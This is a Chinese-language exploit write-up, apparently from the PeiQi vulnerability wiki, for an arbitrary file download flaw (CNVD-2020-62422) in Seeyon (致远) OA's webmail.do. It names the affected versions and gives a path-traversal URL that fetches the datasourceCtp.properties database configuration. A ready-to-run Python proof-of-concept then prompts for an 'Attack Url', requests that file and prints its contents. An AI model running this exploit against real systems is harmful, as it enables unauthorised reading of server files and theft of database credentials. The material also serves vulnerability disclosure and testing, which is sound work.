致远OA webmail.do任意文件下载 CNVD-2020-62422

漏洞描述

致远OA存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息

漏洞影响

致远OA A6-V5

致远OA A8-V5

致远OA G6

漏洞复现

访问 url http://xxx.xxx.xxx.xxx/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties

存在漏洞的OA 系统将会下载 datasourceCtp.properties 配置文件

更改参数 filePath 可下载其他文件

漏洞利用POC

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                          \033[0m')
    print('+  \033[34mVersion: 致远OA多个版本                                                \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "workflow" in response.text:
            print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
        else:
            print("\033[31m[x] 文件请求失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

Goby & POC

致远OA webmail.do任意文件下载 CNVD-2020-62422